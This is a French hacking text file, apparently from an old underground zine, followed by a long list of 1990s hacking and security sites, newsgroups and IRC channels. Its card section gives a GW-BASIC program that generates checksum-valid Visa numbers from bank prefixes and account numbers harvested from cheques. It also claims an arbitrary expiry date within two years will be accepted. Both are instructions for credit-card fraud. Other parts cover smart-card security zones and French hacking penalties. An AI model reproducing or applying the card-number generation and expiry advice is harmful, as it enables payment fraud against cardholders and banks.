III Le numéro de carte

 Le numéro inscrit sur votre carte est son identitée, c'est avec ça que toutes

les opérations sont traitées.

Pour une carte visa le numéro a 16 chiffres, les 4 premiers identifient l'

émetteur de la carte (la banque) les deux suivants ?? les 7 suivants sont le

numéro de compte du titulaire, les deux suivants ?? le dernier est attribué de

façon mathématique ce qui permettra de vérifier si le numéro de carte est

valide ou non. On peut résumer la situation ainsi:

BBBB??NNNNNNNXXC

B=Code de la banque

N=Numéro de compte

C=Checksum

?=Aucune idée souvent 59 ou 60

X=Nombre de carte que vous avez eu (à verifier) souvent 01

Les Banques en fonction des 4 premiers chiffres:

-4970 La Poste

-4975 La Bred

-4972 Le Crédit Lyonnais

-4976 Banque Sofinco

-5131 Crédit Agricole

Je n'en connais pas d'autre mais il suffit de regarder sur la votre pour

trouver (!!?)

Une façon trés simple d'avoir un numéro de compte est de regarder votre relevé

de compte chaque fois que l'on vous fait un chéque le numéro de compte sur

lequel il a été tiré est inscrit...

Voila le programme (en Basic GW) permettant de calculer le numéro d'une visa,

pour être sur d'un numéro de carte vous pouvez vous connecter sur Compuserve,

ou appeller un numéro de discution porno... (Enjoy your WANKING), ou utiliser

un soft shareware appelé Crédit Card Checking (CCC) distribué par l'ASP.

------------------------------------------------------------------------------

DEFINT A-Z

DIM buf(15)

CLS

INPUT "Numéro de la banque (4 chiffres):", bank$

INPUT "Numero de compte (7 chiffres)   :", compt$

INPUT "Les 2 chiffres aprés la banque  :", chif2$

INPUT "Les 2 chiffres avant le checksum:", chich$

FOR j = 1 TO 3


a$ = MID$(bank$, j, 1)


buf(j - 1) = VAL(a$)

NEXT j

FOR j = 1 TO 2


buf(j + 3) = VAL(MID$(chif2$, j, 1))

NEXT j

FOR j = 1 TO 7


buf(j + 5) = VAL(MID$(compt$, j, 1))

NEXT j

FOR j = 1 TO 2


buf(j + 12) = VAL(MID$(chich$, j, 1))

NEXT j

FOR i = 1 TO 9

modulo = 0

buf(15) = i

FOR k = 0 TO 15


 IF ((k MOD 2) = (16 MOD 2)) THEN



j = 2 * buf(k)



ELSE j = buf(k)


 END IF


 IF j >= 10 THEN



x = (j MOD 10) + 1



ELSE x = j


 END IF

modulo = modulo + x

NEXT

LOCATE 10, 10

IF modulo = 0 THEN

 y = 3

END IF

IF (modulo MOD 10 = 0) AND (y <> 3) THEN

 FOR z = 0 TO 15

  PRINT buf(z);

 NEXT

 PRINT ""

 PRINT "Modulo=", modulo

 INPUT z

END IF

NEXT i

------------------------------------------------------------------------------

C'est du brut, libre à vous de rajouter des fioritures mais ça marche c'est le

principal non??

Voila la date d'expiration est simplement un flag à l'arrivée, donc vous

pouvez donner n'importe quoi dans la limite de deux ans aprés la date actuelle

exemple si on est le 02/94 une date valide est située entre le 03/94 et le

02/96.

IV La Puce

Bon pas beaucoup d'infos la dessus, c'est un vrai microcontrolleur, avec un

processeur 8 bits, de la RAM et de l' EPROM. La désignation officielle est CP8

c'est fabriqué par Bull je ne sais pas si il y a des secondes sources (peut

être Schlumberger mais pas Gemplus).

La carte est sécurisé par zone, la première zone en accés libre comporte les

informations embossées (Nom, Prenom, Numero, Date d'expiration), la seconde

zone peut être lu après présentation d'un code c'est la zone de transaction,

un compteur comptabilise (comme tout bon compteur) les erreurs de présentation

de code aprés 3 erreurs successives même sur des terminaux diffèrents la

puce est irrémédiablement bloquée. La troisiéme zone est innaccessible depuis

l'exterrieur et comporte les codes de validation des programmes de cryptage

qui sont au nombre de 2 RSA et DES pour plus d'information à ce sujet on peut

se reporter à l'exellent livre "Cryptography and data security" aux éditions

Addison-Wesley. Mais sachez que pour cracker un code DES il vous fraudra

quelques siécles avec un DX2-66 et quelques millions de fois plus pour le RSA.

Je n' ai jammais entendu parler de fraude sur la puce des CB, peut etre que

quelqu'un me contredirra dans un futur (plus ou moins) proche.

Voila j'espère que ce petit fichier vous aura interessé, dans un prochain nous

nous interesserons au carte F256 qui sont les puces des cartes de téléphones.

Les informations ci-dessus viennent de Phrack, Science et Vie, d' articles dans divers journaux dont j'ai oublié les noms, et du peu de choses intéressantes que l' éducation nationale m'a apporté.

________________________________________________________________________________

JUSTICE

________________________________________________________________________________
Voila ce que vous risquez en faisant du hack:

	Infractions
	Emprisonnement
	Amendes

	acces froduleux à un reseau :
	1 ans
	100 000 f

	Atteinte involontaire au reseau informatique
	2 ans
	200 000 f

	Atteinte volontaire d'un réseau
	3 ans
	300 000 f

	Manipulation frauduleuse de données
	
	

	Vol de materiel informatique :
	
	

	Vol grave :
	5 ans
	500 000 f

	Destruction ou détérioration sans 

danger pour les  personnes :
	1 à 2 ans
	1 000 000 à 2000 000 f


Alors vous êtes calmé ? ça refroidi hein !! 

________________________________________________________________________________

Où trouver des infos ?

________________________________________________________________________________

bon allez voir tt ça, vous trouverez pleins de trucs interressant, je 

sais pas s'ils existent encore tous, je l'ai ai pas ts essayer. voilà

amusez vous bien :

On vas d'abord commencer par les channels :

Les noms des # d'un serveur irc à l'autre ne changent poa beaucoups, on peut

donc trouver presque tt le tps : 

#2600

#hack

#hacker

#hacking

#phreak

#phreaker

#phreaking

#warez

#linux

#cellular

#Unix

etc... Mais lorsque vous tapez ca vous avez 90% de chance de tomber sur

un channel anglais... Si vous voullez un channel en francais par exemple

tapez : 

#hack.fr

#hacking.fr

#hacker.fr etc ...

ou bien :

#francehack

etc.......

En anglais : 

(ces sites sont tire du faq de 2600)

Sites ftp :

 204.215.84.2            /pub/dmackey

 2600.com                                                (2600 Magazine)

 aeneas.mit.edu                                          (Kerberos)

 alex.sp.cs.cmu.edu      /links/security                 (Misc)

 asylum.sf.ca.us                                    (CyberWarriors of Xanadu)

 atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)

 athena-dist.mit.edu     /pub/ATHENA                     (Athena Project)

 atlantis.utmb.edu                                       (Anti-virus)

 bellcore.com                                            (Bellcore)

 cert.org                                                (CERT)

 ciac.llnl.gov                                           (CIAC)

 clark.net               /pub/jcase                      (H/P)

 cnit.nsk.su             /pub/security                   (Security)

 coast.cs.purdue.edu     /pub                            (Security/COAST)

 coombs.anu.edu.au       /pub/security                   (Security)

 csrc.ncsl.nist.gov                                      (NIST Security)

 dartmouth.edu           /pub/security                   (Security)

 ds.internic.net                                         (Internet documents)

 dutiws.twi.tudelft.nl   /pub/novell

 etext.archive.umich.edu /pub/Zines/PrivateLine          (PrivateLine)

 fastlane.net            /pub/nomad

 ftp.3com.com            /pub/Orange-Book                (Orange Book)

 ftp.acns.nwu.edu        /pub                            (Mac Anti-virus)

 ftp.acsu.buffalo.edu    /pub/security & /pub/irc        (Security & IRC)

 ftp.alantec.com         /pub/tcpr                       (Tcpr)

 ftp.armory.com          /pub/user/kmartind              (H/P)

 ftp.armory.com          /pub/user/swallow               (H/P)

 ftp.auscert.org.au      /pub                            (Australian CERT)

 ftp.cerf.net            /pub/software/unix/security     (CERFnet)

 ftp.cert.dfn.de                                         (FIRST)

 ftp.cisco.com                                           (Cisco)

 ftp.commerce.net        /pub/standards/drafts/shttp.txt (Secure HyperText)

 ftp.cs.colorado.edu

 ftp.cs.ruu.nl           /pub/SECURITY                   (Security & PGP)

 ftp.cs.uwm.edu          /pub/comp-privacy               (Privacy Digest)

 ftp.cs.vu.nl

 ftp.cs.yale.edu

 ftp.csi.forth.gr        /pub/security

 ftp.csl.sri.com         /pub/nides                      (SRI)

 ftp.csn.org /mpj                                        (Cryptology)

 ftp.csua.berkeley.edu   /pub/cypherpunks                (Crypto)

 ftp.delmarva.com

 ftp.demon.co.uk         /pub/misc/0800num.txt           (0800/0500 numbers)

 ftp.denet.dk            /pub/security/tools/satan

 ftp.digex.net           /pub/access/dunk

 ftp.dsi.unimi.it        /pub/security/crypt             (Crypto)

 ftp.dstc.edu.au         /pub/security/satan

 ftp.ee.lbl.gov

 ftp.eff.org             /pub/Publications/CuD           (EFF)

 ftp.elelab.nsc.co.jp    /pub/security                   (Security)

 ftp.etext.org                                           (Etext)

 ftp.fc.net              /pub/deadkat                    (TNO)

 ftp.fc.net              /pub/defcon                     (DefCon)

 ftp.fc.net              /pub/defcon/BBEEP               (BlueBeep)

 ftp.fc.net              /pub/phrack                     (Phrack)

 ftp.foobar.com

 ftp.funet.fi            /pub/doc/CuD

 ftp.gate.net            /pub/users/laura

 ftp.gate.net            /pub/users/wakko

 ftp.giga.or.at          /pub/hacker/                    (H/P)

 ftp.greatcircle.com     /pub/firewalls                  (Firewalls)

 ftp.IEunet.ie           /pub/security                   (Security)

 ftp.ifi.uio.no

 ftp.indirect.com        /www/evildawg/public_access/C&N/

 ftp.info.fundp.ac.be

 ftp.informatik.uni-hamburg.de

 ftp.informatik.uni-kiel.de /pub/sources/security

 ftp.inoc.dl.nec.com     /pub/security                   (Security)

 ftp.isi.edu

 ftp.lava.net            /users/oracle/                  (H/P

 ftp.leo.org/pub/com/os/os2/crypt

 ftp.lerc.nasa.gov       /security

 ftp.llnl.gov            /pub                            (CIAC)

 ftp.luth.se             /pub/unix/security

 ftp.lysator.liu.se

 ftp.mcs.anl.gov         /pub/security

 ftp.microserve.net      /ppp-pop/strata/mac             (Mac)

 ftp.near.net            /security/archives/phrack       (Zines)

 ftp.nec.com

 ftp.net.ohio-state.edu  /pub/security/satan

 ftp.netcom.com          /pub/br/bradleym                (Virii)

 ftp.netcom.com          /pub/da/daemon9                 (H/P)

 ftp.netcom.com          /pub/fi/filbert

 ftp.netcom.com          /pub/gr/grady

 ftp.netcom.com          /pub/il/illusion                (H/P+Virus)

 ftp.netcom.com          /pub/je/jericho                 (H/P)

 ftp.netcom.com          /pub/le/lewiz                   (Social Engineering)

 ftp.netcom.com          /pub/ty/tym                     (TYM)

 ftp.netcom.com          /pub/va/vandal                  (DnA)

 ftp.netcom.com          /pub/wt/wtech/

 ftp.netcom.com          /pub/zi/zigweed                 (H/P)

 ftp.netcom.com          /pub/zz/zzyzx                   (H/P)

 ftp.netsys.com

 ftp.ocs.mq.edu.au       /PC/Crypt                       (Cryptology)

 ftp.ox.ac.uk            /pub/comp/security

 ftp.ox.ac.uk            /pub/crypto                     (Cryptology)

 ftp.ox.ac.uk            /pub/wordlists                  (Wordlists)

 ftp.paranoia.com        /pub/toneloc/tl110.zip          (ToneLoc)

 ftp.pipex.net           /pub/areacode                   (uk areacodes)

 ftp.pop.psu.edu

 ftp.primenet.com        /users/i/insphrk

 ftp.primenet.com        /users/k/kludge                 (H/P)

 ftp.primenet.com        /users/s/scuzzy                 (Copy Protection)

 ftp.primus.com          /pub/security                   (Security)

 ftp.psy.uq.oz.au

 ftp.psy.uq.oz.au        /pub/DES

 ftp.rahul.net           /pub/conquest/DeadelviS/script/vms/

 ftp.rahul.net           /pub/lps                        (Home of the FAQ)

 ftp.sert.edu.au

 ftp.sgi.com

 ftp.smartlink.net       /pub/users/mikes/haq

 ftp.std.com             /archives/alt.locksmithing      (Locksmithing)

 ftp.std.com             /obi/Mischief/                  (MIT Guide to Locks)

 ftp.std.com             /obi/Phracks                    (Zines)

 ftp.sunet.se            /pub/network/monitoring         (Ethernet sniffers)

 ftp.sura.net            /pub/security                   (SURAnet)

 ftp.technet.sg

 ftp.technion.ac.il

 ftp.tis.com             /pub                            (TIS)

 ftp.tisl.ukans.edu      /pub/security

 ftp.uni-koeln.de                                        (Wordlists)

 ftp.uspto.gov

 ftp.uu.net              /doc/literary/obi/Phracks       (Zines)

 ftp.uwp.edu             /pub/dos/romulus/cracks         (Copy Protection)

 ftp.vis.colostate.edu

 ftp.vix.com

 ftp.vortex.com

 ftp.warwick.ac.uk       /pub/cud                        (Zines)

 ftp.wi.leidenuniv.nl    /pub/security

 ftp.win.tue.nl          /pub/security                   (Security)

 ftp.winternet.com       /users/nitehwk                  (H/P)

 ftp.wustl.edu           /doc/EFF                        (EFF)

 ftp.zoom.com

 ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto    (Cryptology)

 garbo.uwasa.fi          /pc/crypt                       (Cryptology)

 gemini.tuc.noao.edu     /pub/grandi

 gti.net                 /pub/safetynet

 gumby.dsd.trw.com

 hack-this.pc.cc.cmu.edu                                 (Down for Summer)

 heffer.lab.csuchico.edu                        (Third Stone From The Sun)

 hplyot.obspm.fr

 info.mcs.anl.gov

 infonexus.com           /pub                            (The Guild)

 jerico.usc.edu

 l0pht.com                                               (The L0pht)

 lcs.mit.edu             /telecom-archives               (Telecom archives)

 lod.com                                                 (Legion of Doom)

 mac.archive.umich.edu

 mary.iia.org            /pub/users/patriot              (Misc)

 monet.ccs.itd.umich.edu

 net-dist.mit.edu        /pub/pgp

 net.tamu.edu            /pub/security/TAMU              (Security)

 net23.com               /pub                            (Max Headroom)

 nic.ddn.mil             /scc                            (DDN Security)

 nic.sura.net            /pub/security

 oak.oakland.edu         /pub/hamradio                   (Ham Radio)

 oak.oakland.edu         /SimTel/msdos/sound             (DTMF decoders)

 oak.oakland.edu         /SimTel/msdos/sysutil           (BIOS attackers)

 parcftp.xerox.com

 prism.nmt.edu           /pub/misc                       (Terrorist Handbook)

 pyrite.rutgers.edu      /pub/security                   (Security)

 relay.cs.toronto.edu    /doc/telecom-archives           (Telecom)

 rena.dit.co.jp          /pub/security                   (Security)

 research.att.com        /dist/internet_security         (AT&T)

 ripem.msu.edu           /pub/crypt                      (Ripem)

 rmii.com                /pub2/KRaD                      (KRaD Magazine)

 rtfm.mit.edu                                            (Etext)

 rtfm.mit.edu            /pub/usenet-by-group            (Usenet FAQ's)

 scss3.cl.msu.edu        /pub/crypt                      (Cryptology)

 sgigate.sgi.com         /Security                       (SGI Security)

 sierra.stanford.edu

 spy.org                                                 (CSC)

 src.doc.ic.ac.uk        /usenet/uk.telecom              (uk.telecom archives)

 suburbia.apana.org.au   /pub/unix/security              (Security)

 sunsolve1.sun.com

 theta.iis.u-tokyo.ac.jp /pub1/security                  (Security)

 titania.mathematik.uni-ulm.de /pub/security             (Security)

 toxicwaste.mit.edu      /pub/rsa129/README              (Breaking RSA)

 ugle.unit.no

 unipc20.unimed.sintef.no

 vic.cc.purdue.edu

 vixen.cso.uiuc.edu      /security

 web.mit.edu

 whacked.l0pht.com                                       (Mac + H/P)

 wimsey.bc.ca            /pub/crypto                     (Cryptology)

 wuarchive.wustl.edu     /pub/aminet/util/crypt

Les newsgroups :

 alt.2600                

 alt.2600hz

 alt.2600.codez

 alt.2600.debate

 alt.2600.moderated

 alt.cellular

 alt.cellular-phone-tech  Brilliant telephony mind blow netnews naming

 alt.comp.virus           An unmoderated forum for discussing viruses

 alt.comp.virus.source.code

 alt.cracks               Heavy toolbelt wearers of the world, unite

 alt.cyberpunk            High-tech low-life.

 alt.cyberspace           Cyberspace and how it should work.

 alt.dcom.telecom         Discussion of telecommunications technology

 alt.engr.explosives      [no description available]

 alt.fan.kevin-mitnick

 alt.fan.lewiz            Lewis De Payne fan club

 alt.hackers              Descriptions of projects currently under development

 alt.hackintosh

 alt.locksmithing         You locked your keys in *where*?

 alt.hackers.malicious    The really bad guys - don't take candy from them

 alt.ph.uk                United Kingdom version of alt.2600

 alt.privacy.anon-server  Tech. & policy matters of anonymous contact servers

 alt.radio.pirate         Hide the gear, here comes the magic station-wagons.

 alt.radio.scanner        Discussion of scanning radio receivers.

 alt.satellite.tv.europe  All about European satellite tv

 alt.security             Security issues on computer systems

 alt.security.index       Pointers to good stuff in misc.security (Moderated)

 alt.security.keydist     Exchange of keys for public key encryption systems

 alt.security.pgp         The Pretty Good Privacy package

 alt.security.ripem       A secure email system illegal to export from the US

 comp.dcom.cellular       [no description available]

 comp.dcom.telecom        Telecommunications digest (Moderated)

 comp.dcom.telecom.tech   [no description available]

 comp.org.cpsr.announce   Computer Professionals for Social Responsibility

 comp.org.cpsr.talk       Issues of computing and social responsibility

 comp.org.eff.news        News from the Electronic Frontiers Foundation

 comp.org.eff.talk        Discussion of EFF goals, strategies, etc.

 comp.os.netware.security Netware Security issues

 comp.protocols.kerberos  The Kerberos authentification server

 comp.protocols.tcp-ip    TCP and IP network protocols

 comp.risks               Risks to the public from computers & users

 comp.security.announce   Announcements from the CERT about security

 comp.security.firewalls  Anything pertaining to network firewall security

 comp.security.misc       Security issues of computers and networks

 comp.security.unix       Discussion of Unix security

 comp.virus               Computer viruses & security (Moderated)

 de.org.ccc               Mitteilungen des CCC e.V.

 misc.security            Security in general, not just computers (Moderated)

 rec.pyrotechnics         Fireworks, rocketry, safety, & other topics

 rec.radio.scanner        [no description available]

 rec.video.cable-tv       Technical and regulatory issues of cable television

 sci.crypt                Different methods of data en/decryption

Les sites telnet :

 anarchy-online.com

 ntiabbs.ntia.doc.gov                  (NTIA)

 l0pht.com                             (The L0pht)

 sfpg.gcomm.com                        (The Floating Pancreas)

 telnet lust.isca.uiowa.edu 2600       (underground bbs) (temporarily down)

 pcspm2.dar.csiro.au                   (Virtual Doughnutland BBS)

 prince.carleton.ca 31337              (Twilight of The Idols)

 spy.org                               (Computer Systems Consulting)

Les sites gopher :

 ba.com                  (Bell Atlantic)

 cell-relay.indiana.edu  (Cell Relay Retreat)

 csrc.ncsl.nist.gov      (NIST Security Gopher)

 gopher.acm.org          (SIGSAC (Security, Audit & Control))

 gopher.cpsr.org         (Computer Professionals for Social Responsibility)

 gopher.eff.org          (Electonic Frontier Foundation)

 gopher.panix.com        (Panix)

 gw.PacBell.com          (Pacific Bell)

 iitf.doc.gov            (NITA -- IITF)

 info.itu.ch             (International Telegraph Union)

 ncjrs.aspensys.com      (National Criminal Justice Reference Service)

 oss.net                 (Open Source Solutions)

 spy.org                 (Computer Systems Consulting)

 wiretap.spies.com       (Wiretap)

Les sites World wide Web :

 134.220.198.66:8000                           (Peter Strangman's)

 alcuin.plymouth.edu/~jay/underground.html     (Underground Links)

 all.net                 (American Society for Industrial Security Management)

 alumni.caltech.edu/~dank/isdn/                (ISDN)

 asearch.mccmedia.com/www-security.html        (WWW-security info)

 aset.rsoc.rockwell.com                        (NASA/MOD AIS Security)

 aset.rsoc.rockwell.com/exhibit.html           (Tech. for Info Sec)

 att.net/dir800                                (800 directory)

 ausg.dartmouth.edu/security.html              (UNIX Security Topics)

 bianca.com/bump/ua                            (Unauthorized Access Home Page)

 ccnga.uwaterloo.ca/~jscouria/gsm.html         (GSM Specification)

 cell-relay.indiana.edu/cell-relay             (Cell Relay Retreat)

 ciac.llnl.gov                                 (CIAC Web Site)

 community.net/community/all/home/solano/sbaldwin

 cs.purdue.edu/homes/spaf/coast.html           (The COAST Project and Laboratory)

 csbh.mhv.net/dcypher/home.html                (Dcypher's Home Page)

 csrc.ncsl.nist.gov                            (NIST)

 cwix.com/cwplc                                (Cable and Wireless)

 daemon.apana.org.au/~longi/

 dcpu1.cs.york.ac.uk:6666/fisher/telecom       (Embryonic Telephone History Page)

 dfw.net/~aleph1                               (The Uebercracker's Security Web)

 draco.centerline.com:8080/~franl/crypto.html  (Crypto)

 draco.centerline.com:8080/~franl/privacy/bacard-review.html

 enigma.pc.cc.cmu.edu/~caffeine/home.html      (Caffeine's Home Page)

 everest.cs.ucdavis.edu/Security.html          (UCDavis.edu Security Page)

 everest.cs.ucdavis.edu/slides/slides.html     (Security Lab Slides)

 ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)

 fastlane.net/homepages/thegnome               (Simple Nomad)

 first.org                                     (FIRST)

 freeside.com/phrack.html                      (Phrack Magazine)

 frosted.mhv.net/keytrap.html

 ftp.arpa.mil                                  (ARPA home page)

 ftp.tamu.edu/~abr8030/security.html           (Security)

 grove.ufl.edu/~bytor                          (Bytor home page)

 hightop.nrl.navy.mil/potpourri.html           (MOD Security)

 hightop.nrl.navy.mil/rainbow.html             (MOD Rainbow Books)

 ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)

 ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)

 info.bellcore.com/BETSI/betsi.html            (Betsi)

 info.gte.com                                  (GTE Labrotories)

 info.mcc.ac.uk/Orange                         (Orange)

 infosec.nosc.mil/infosec.html                 (SPAWAR INFOSEC)

 infosec.nosc.mil/navcirt.html                 (NAVCIRT)

 iss.net/iss                                   (Internet Security Systems)

 jumper.mcc.ac.uk/~afs/telecom                 (UK Telecom Pricing Information)

 l0pht.com                                     (The l0pht)

 l0pht.com/~oblivion/IIRG.html                 (Phantasy Magazine)

 l0pht.com/~spacerog/index.html                (Whacked Mac Archives)

 lcs.mit.edu/telecom-archives/areacodes/guide  (North American Area Codes)

 lcs.mit.edu/telecom-archives/npa.800          (1-800 Info)

 lcs.mit.edu/telecom-archives/npa.900          (1-900 Info)

 lod.com                                       (Legion of Doom)

 lod.com/~gatsby                               (Gatsby)

 lod.com/~tabas                                (Mark Tabas -- LOD)

 lod.com/~vampire/emptime7                     (Empire Times)

 magicnet.net/xtabi/netscape/links/cypher.html (Cryptology)

 mars.superlink.net/user/esquire               (Red box info)

 matrix.resnet.upenn.edu/rourke                (FakeMail FAQ)

 mindlink.jolt.com                             (The Secrets of LockPicking)

 mindlink.net/A7657                            (Stephen H Kawamoto's Home Page)

 mls.saic.com                                  (SAIC MLS)

 mnementh.cs.adfa.oz.au/Lawrie_Brown.html      (Lawrie Brown's crypto bibliography)

 motserv.indirect.com                          (Motorola)

 naic.nasa.gov/fbi                             (FBI information)

 nasirc.nasa.gov/NASIRC_home.html              (NASIRC)

 obscura.com/~loki/                            (Cryptology)

 ophie.hughes.american.edu/~ophie              (Ophie)

 oregano.sl.pitt.edu/index.htm

 outpost.callnet.com/outpost.html

 pages.ripco.com:8080/~glr/glr.html            (Full Disclosure)

 peg.pegasus.oz.au                             (EFF Australia)

 quetel.qc.ca/qt0000ag.htm                     (Quebec-Telephone)

 resudox.net/bio/mainpage.html                 (BioHazard's Home Page)

 ripco.com:8080/~glr/glr.html                  (Full Disclosure)

 rschp2.anu.edu.au:8080/crypt.html

 scitsc.wlv.ac.uk/~cs6171/hack                 (UNIX Security)

 seclab.cs.ucdavis.edu/Security.html           (Security)

 seclab.cs.ucdavis.edu/slides/slides.html      (Security Lab Slides)

 sfpg.gcomm.com/mitnick/mitnick.htm            (3wP Kevin Mitnick WWW HomePage)

 smurfland.cit.buffalo.edu/NetMan/index.html   (Network Management)

 sunsite.unc.edu/sun/inform/sun-info.html      (Sun Microsystems Sponsor Page)

 support.mayfield.hp.com                       (Hewlett Packard SupportLine Services)

 tamsun.tamu.edu/~clm3840/hacking.html         (Hacking/Phreaking)

 the-tech.mit.edu                              (LaMacchia case info)

 town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)

 turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)

 ucs.orst.edu:8001/mintro.html                 (Micro Power Broadcasting)

 underground.org                               (Eubercrackers)

 unixg.ubc.ca:780/~jyee/                       (Cell)

 w3.gti.net/safety

 web.mit.edu/network/pgp.html                  (Getting PGP)

 web.nec.com/products/necam/mrd/cellphones/index.html(NEC)

 weber.u.washington.edu/~phantom/cpunk/index.html  (Cryptology)

 wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html (Klon's Underground Links)

 wintermute.itd.nrl.navy.mil/5544.html         (Network Security)

 www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html

 www-ns.rutgers.edu/www-security/index.html    (Rutger's documents on WWW security)

 www-personal.engin.umich.edu/~jgotts/underground/boxes.html   (Box info)

 www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)

 www-swiss.ai.mit.edu/~bal/pks-toplev.html     (Findingsomeone's PGP key)

 www.2600.com                                  (2600 Magazine)

 www.8lgm.org                                  (8lgm Security Advisories)

 www.aads.net                                  (Ameritech)

 www.access.gpo.gov/su_docs/

 www.aloha.com/~seanw/index.html

 www.alw.nih.gov/WWW/security.html             (Unix Security)

 www.artcom.de/CCC/hotlist.html                (Chaos Computer Club Hotlist)

 www.artech-house.com/artech.html              (Artech House)

 www.asg.unb.ca                                (Atlantic Systems Group Mosaic Index)

 www.aspentec.com/~frzmtdb/fun/hacker.html

 www.aston.ac.uk/~bromejt/mobile.html          (Mobile Phone Service Locator)

 www.att.com                                   (ATT)

 www.auditel.com                               (Auditel)

 www.auscert.org.au                            (Australian CERT)

 www.axent.com/axent                           (Axent Technologies)

 www.ba.com                                    (Bell Atlantic)

 www.bctel.com                                 (BC Tel)

 www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)

 www.bell.ca                                   (Bell Canada)

 www.bell.com                                  (MFJ Task Force)

 www.bellcore.com/SECURITY/security.html       (Bellcore Security Products)

 www.border.com                                (Border Network Technologies)

 www.brad.ac.uk/~nasmith/index.html

 www.brad.ac.uk/~nasmith/underground.html      (Undergound WWW Sites)

 www.bst.bls.com                               (BellSouth)

 www.bt.co.uk                                  (British Telecom)

 www.business.co.uk/cellnet                    (Cellnet)

 www.c2.org:80/remail/by-www.html              (WWW-based remailing form)

 www.c3.lanl.gov/~mcn                          (Lanl)

 www.cam.org/~gagnon                           (OCP's)

 www.careermosaic.com/cm/uswest                (USWest)

 www.castle.net/~kobrien/telecom.html          (Telecom)

 www.cco.caltech.edu/~rknop/amiga_pgp26.html

 www.cdt.org/cda.html

 www.cec.wustl.edu/~dmm2/egs/egs.html          (En Garde Systems)

 www.cert.dfn.de/                              (German First Team)

 www.checkpoint.com                            (Checkpoint)

 www.chem.surrey.ac.uk/~ch11mh/secure.html     (Another page on secure WWW server setup)

 www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of PHREAK!)

 www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html

 www.cityscape.co.uk/users/ek80/index.html     (Inside Cable Cover)

 www.cohesive.com                              (Cohesive Systems)

 www.commerce.net/information/standards/drafts/shttp.txt (HyperText)

 www.con.wesleyan.edu/~triemer/network/docservs.html

 www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html

 www.cosc.georgetown.edu/~denning/crypto       (The Cryptography Project)

 www.cost.se                                   (COST Computer Security Technologies)

 www.cpsr.org/home                             (CPSR)

 www.crimson.com/isdn/telecomacry.txt          (Crimson's Telecommunications Acronyms)

 www.crtc.gc.ca                                (CRTC - Canadian regulator)

 www.cs.berkeley.edu/~raph/remailer-list.html  (Anon remailer list)

 www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html  (CMU Security)

 www.cs.purdue.edu/coast/coast.html            (Coast)

 www.cs.purdue.edu/pcert/pcert.html            (PCERT)

 www.cs.tu-bs.de                               (Network management Tools)

 www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)

 www.cs.umd.edu/~lgas                          (Laughing Gas)

 www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)

 www.csd.harris.com/secure_info.html           (Harris)

 www.csl.sri.com                               (SRI Computer Science Lab)

 www.csua.berekeley.edu/pub/cypherpunks/Home.html  (Cryptology)

 www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html

 www.cyber.co.uk/~joyrex                       (Joyrex Cellular)

 www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)

 www.cygnus.com/~gnu/export.html               (Cryptography Export Control Archives)

 www.datafellows.fi                            (Data Fellows (F-Prot)

 www.datasync.com/~sotmesc/sotmesc.html        (SotMESC)

 www.dcs.exeter.ac.uk/~aba                     (Cypherpunk)

 www.dct.ac.uk/~misb3cp/2600/faq.txt

 www.demon.co.uk/mobiles                       (C.C.Mobiles)

 www.dhp.com                                   (DataHaven Project)

 www.dhp.com/~pluvius                          (Pluvius' Home Page)

 www.digicash.com/ecash/ecash-home.html        (Ecash Home Page)

 www.digital.com/info/key-secure-index.html    (Digital Secure Systems)

 www.dnai.com/~gui/index.html

 www.dtic.dla.mil/defenselink                  (Office of the U.S. Secretary of Defense (OSD)

 www.dtic.dla.mil/iac                          (DoD Information Analysis Center (IAC) Hub Page)

 www.eecs.nwu.edu/~jmyers/bugtraq/about.html

 www.eecs.nwu.edu/~jmyers/bugtraq/archives.html

 www.eecs.nwu.edu/~jmyers/bugtraq/index.html   (Bugtraq)

 www.eecs.nwu.edu/~jmyers/ids/index.html       (Intrusion Detection Systems)

 www.eff.org

 www.eff.org/pub/Alerts

 www.eff.org/pub/Net_info/Tools/Crypto/

 www.emap.co.uk/partners/racal-airtech         (Racal-Airtech)

 www.ensta.fr/internet/unix/sys_admin          (System administration)

 www.epic.org

 www.ericsson.nl                               (Ericsson)

 www.etext.org/Zines/                          (Zines)

 www.farmstead.com                             (Farmstead)

 www.fbi.gov/fbi/FBI_homepage.html             (FBI Homepage)

 www.fc.net/defcon                             (DefCon)

 www.fedworld.gov                              (Federal Government)

 www.first.org/first/                          (FIRST)

 www.fonorola.net                              (Fonorola (a Canadian carrier)

 www.frus.com                                  (Firewalls R Us)

 www.gbnet.net/kbridge                         (KarlBridge)

 www.getnet.com/crak                           (CRAK Software)

 www.getnet.com/~vision

 www.gold.net/users/cw78                       (FleXtel)

 www.greatcircle.com                           (Great Circle Associates)

 www.gsu.edu/~socrerx/catalog.html

 www.gta.com/index.html                        (Global Technology Associates)

 www.gti.net/grayarea                          (Gray Areas)

 www.hotwired.com                              (Wired Magazine)

 www.hpcc.gov/blue94/section.4.6.html          (NSA)

 www.hq2.telecom.ie                            (Telecom Eireann)

 www.iacr.org/~iacr                            (International Association of Cryptologic Research (IACR)

 www.ibmpcug.co.uk/~Vidtron                    (Videotron)

 www.ic.gov                                    (Central Intelligence Agency Home Page)

 www.ifi.uio.no/~staalesc/PGP/home.html

 www.iia.org/~gautier/me.html                  (Rich Gautier's Home Page)

 www.indirect.com/www/evildawg

 www.indirect.com/www/johnk/                   (CRAK Software)

 www.ingress.com                               (Ingress Communications)

 www.interaccess.com/trc/tsa.html

